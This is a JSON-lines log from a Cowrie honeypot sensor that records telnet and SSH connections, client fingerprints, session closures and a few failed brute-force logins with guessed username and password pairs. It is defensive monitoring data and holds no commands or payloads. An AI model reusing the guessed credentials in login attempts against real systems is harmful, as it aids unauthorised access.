{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"34a69b7de10c","protocol":"telnet","message":"New connection: 23.254.167.244:56778 (159.203.135.109:23) [session: 34a69b7de10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:45.613926Z"}
{"eventid":"cowrie.session.closed","duration":31.135384798049927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:45.892648Z","src_ip":"114.23.51.89","session":"9258ab5ecf36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35840,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e668f564c39","protocol":"telnet","message":"New connection: 209.159.146.115:35840 (159.203.135.109:23) [session: 9e668f564c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:47.175304Z"}
{"eventid":"cowrie.session.closed","duration":33.34427833557129,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:47.181849Z","src_ip":"23.254.167.244","session":"464d14d13b13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":57008,"dst_ip":"159.203.135.109","dst_port":23,"session":"57438c1eb0e5","protocol":"telnet","message":"New connection: 114.23.51.89:57008 (159.203.135.109:23) [session: 57438c1eb0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:47.515632Z"}
{"eventid":"cowrie.session.closed","duration":33.63144898414612,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:48.444047Z","src_ip":"209.159.146.115","session":"4def04238730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8233540058136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:48.589053Z","src_ip":"23.254.167.244","session":"c897a0378342","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.299407958984375,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:49.885570Z","src_ip":"23.254.167.244","session":"f947fc860d39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":35166,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd37aa979601","protocol":"telnet","message":"New connection: 23.254.167.244:35166 (159.203.135.109:23) [session: bd37aa979601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:50.753280Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":59918,"dst_ip":"159.203.135.109","dst_port":23,"session":"25a9037b3dc2","protocol":"telnet","message":"New connection: 114.23.51.89:59918 (159.203.135.109:23) [session: 25a9037b3dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:50.978079Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36914,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b8a46c5f6d","protocol":"telnet","message":"New connection: 23.254.167.244:36914 (159.203.135.109:23) [session: b9b8a46c5f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:52.622363Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40548,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce9e4f8b0ec","protocol":"telnet","message":"New connection: 209.159.146.115:40548 (159.203.135.109:23) [session: 1ce9e4f8b0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:53.478334Z"}
{"eventid":"cowrie.session.closed","duration":31.721729040145874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:54.328783Z","src_ip":"23.254.167.244","session":"b39a07f11a76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40022,"dst_ip":"159.203.135.109","dst_port":23,"session":"53afe396728b","protocol":"telnet","message":"New connection: 23.254.167.244:40022 (159.203.135.109:23) [session: 53afe396728b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:55.469124Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":40468,"dst_ip":"10.17.0.5","dst_port":22,"session":"96867d7256f0","protocol":"ssh","message":"New connection: 20.244.18.126:40468 (10.17.0.5:22) [session: 96867d7256f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:57.022024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:57.028967Z","src_ip":"20.244.18.126","session":"96867d7256f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:57.216447Z","src_ip":"20.244.18.126","session":"96867d7256f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":59922,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4eb4189fbf","protocol":"telnet","message":"New connection: 114.23.51.89:59922 (159.203.135.109:23) [session: ff4eb4189fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:57.405092Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34544,"dst_ip":"159.203.135.109","dst_port":23,"session":"94111a79d821","protocol":"telnet","message":"New connection: 209.159.146.115:34544 (159.203.135.109:23) [session: 94111a79d821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:57.794169Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":55942,"dst_ip":"159.203.135.109","dst_port":23,"session":"c100570b31ea","protocol":"telnet","message":"New connection: 114.23.51.89:55942 (159.203.135.109:23) [session: c100570b31ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:57.978794Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu321","message":"login attempt [ubuntu/ubuntu321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:57.996749Z","src_ip":"20.244.18.126","session":"96867d7256f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34266,"dst_ip":"159.203.135.109","dst_port":22,"session":"41c2dcae84aa","protocol":"ssh","message":"New connection: 159.203.92.129:34266 (159.203.135.109:22) [session: 41c2dcae84aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:58.965568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:58.969173Z","src_ip":"159.203.92.129","session":"41c2dcae84aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:58.973314Z","src_ip":"159.203.92.129","session":"41c2dcae84aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ankun","password":"123456","message":"login attempt [ankun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:58.996819Z","src_ip":"159.203.92.129","session":"41c2dcae84aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:59.186480Z","src_ip":"20.244.18.126","session":"96867d7256f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47700,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a517fa92613","protocol":"telnet","message":"New connection: 23.254.167.244:47700 (159.203.135.109:23) [session: 4a517fa92613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:13:59.569267Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:00.003618Z","src_ip":"159.203.92.129","session":"41c2dcae84aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":55958,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa6c00d4875a","protocol":"telnet","message":"New connection: 114.23.51.89:55958 (159.203.135.109:23) [session: fa6c00d4875a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:00.365288Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":55968,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ce23a4d8846","protocol":"telnet","message":"New connection: 114.23.51.89:55968 (159.203.135.109:23) [session: 9ce23a4d8846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:00.869420Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":55982,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1b15a450096","protocol":"telnet","message":"New connection: 114.23.51.89:55982 (159.203.135.109:23) [session: f1b15a450096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:01.108202Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49916,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2b75cf1384e","protocol":"telnet","message":"New connection: 209.159.146.115:49916 (159.203.135.109:23) [session: f2b75cf1384e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:01.740020Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":55992,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f72923509fe","protocol":"telnet","message":"New connection: 114.23.51.89:55992 (159.203.135.109:23) [session: 9f72923509fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:01.812591Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":55998,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dbcf1edc1f5","protocol":"telnet","message":"New connection: 114.23.51.89:55998 (159.203.135.109:23) [session: 1dbcf1edc1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:01.833986Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":56006,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d0a16dc803","protocol":"telnet","message":"New connection: 114.23.51.89:56006 (159.203.135.109:23) [session: 99d0a16dc803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:02.810237Z"}
{"eventid":"cowrie.session.closed","duration":30.398945093154907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:04.223581Z","src_ip":"209.159.146.115","session":"74ae16d85a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57932,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b49db368854","protocol":"telnet","message":"New connection: 23.254.167.244:57932 (159.203.135.109:23) [session: 6b49db368854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:08.321980Z"}
{"eventid":"cowrie.session.closed","duration":30.32215905189514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:09.059798Z","src_ip":"209.159.146.115","session":"566dd910d38d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59986,"dst_ip":"159.203.135.109","dst_port":23,"session":"611520de8959","protocol":"telnet","message":"New connection: 23.254.167.244:59986 (159.203.135.109:23) [session: 611520de8959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:09.782304Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":30115,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9f559cb745","protocol":"ssh","message":"New connection: 74.87.117.149:30115 (10.17.0.5:22) [session: cf9f559cb745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:10.611562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:10.616621Z","src_ip":"74.87.117.149","session":"cf9f559cb745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:10.641167Z","src_ip":"74.87.117.149","session":"cf9f559cb745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser","message":"login attempt [root/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:10.778110Z","src_ip":"74.87.117.149","session":"cf9f559cb745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:11.807873Z","src_ip":"74.87.117.149","session":"cf9f559cb745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.62586045265198,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:12.291633Z","src_ip":"114.23.51.89","session":"cf575521b5c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55906128883362,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:12.365257Z","src_ip":"23.254.167.244","session":"acafa691e254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.867127656936646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:12.588024Z","src_ip":"209.159.146.115","session":"3db53cdc3df6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":32856,"dst_ip":"159.203.135.109","dst_port":23,"session":"e76cc4692599","protocol":"telnet","message":"New connection: 114.23.51.89:32856 (159.203.135.109:23) [session: e76cc4692599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:13.702786Z"}
{"eventid":"cowrie.session.closed","duration":30.69225573539734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:14.504055Z","src_ip":"114.23.51.89","session":"60b53791cd87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":32870,"dst_ip":"159.203.135.109","dst_port":23,"session":"061c124eb0cc","protocol":"telnet","message":"New connection: 114.23.51.89:32870 (159.203.135.109:23) [session: 061c124eb0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:14.727447Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":32884,"dst_ip":"159.203.135.109","dst_port":23,"session":"20bea89845e4","protocol":"telnet","message":"New connection: 114.23.51.89:32884 (159.203.135.109:23) [session: 20bea89845e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:14.802752Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37352,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4dcc73ffeac","protocol":"telnet","message":"New connection: 23.254.167.244:37352 (159.203.135.109:23) [session: a4dcc73ffeac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:15.644480Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":32878,"dst_ip":"159.203.135.109","dst_port":23,"session":"449b3c1eef0d","protocol":"telnet","message":"New connection: 114.23.51.89:32878 (159.203.135.109:23) [session: 449b3c1eef0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:15.720650Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":32888,"dst_ip":"159.203.135.109","dst_port":23,"session":"46765c519456","protocol":"telnet","message":"New connection: 114.23.51.89:32888 (159.203.135.109:23) [session: 46765c519456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:15.896621Z"}
{"eventid":"cowrie.session.closed","duration":36.833616733551025,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:16.504471Z","src_ip":"23.254.167.244","session":"9bd6ef32b089","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242351055145264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:16.843630Z","src_ip":"114.23.51.89","session":"d52863095b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":32902,"dst_ip":"159.203.135.109","dst_port":23,"session":"7abbc386f4b3","protocol":"telnet","message":"New connection: 114.23.51.89:32902 (159.203.135.109:23) [session: 7abbc386f4b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:16.980730Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46066,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa77ca44f83a","protocol":"telnet","message":"New connection: 114.23.51.89:46066 (159.203.135.109:23) [session: aa77ca44f83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:17.653992Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33254,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1de011544b9","protocol":"telnet","message":"New connection: 209.159.146.115:33254 (159.203.135.109:23) [session: d1de011544b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:17.658943Z"}
{"eventid":"cowrie.session.closed","duration":35.75653052330017,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:17.785658Z","src_ip":"209.159.146.115","session":"fdfdcc3ebd1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":46080,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f52a3df047c","protocol":"telnet","message":"New connection: 114.23.51.89:46080 (159.203.135.109:23) [session: 0f52a3df047c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:17.930755Z"}
{"eventid":"cowrie.session.closed","duration":30.909283876419067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:18.424779Z","src_ip":"114.23.51.89","session":"57438c1eb0e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34775471687317,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:18.961638Z","src_ip":"23.254.167.244","session":"34a69b7de10c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188592433929443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:22.166549Z","src_ip":"114.23.51.89","session":"25a9037b3dc2","protocol":"telnet"}
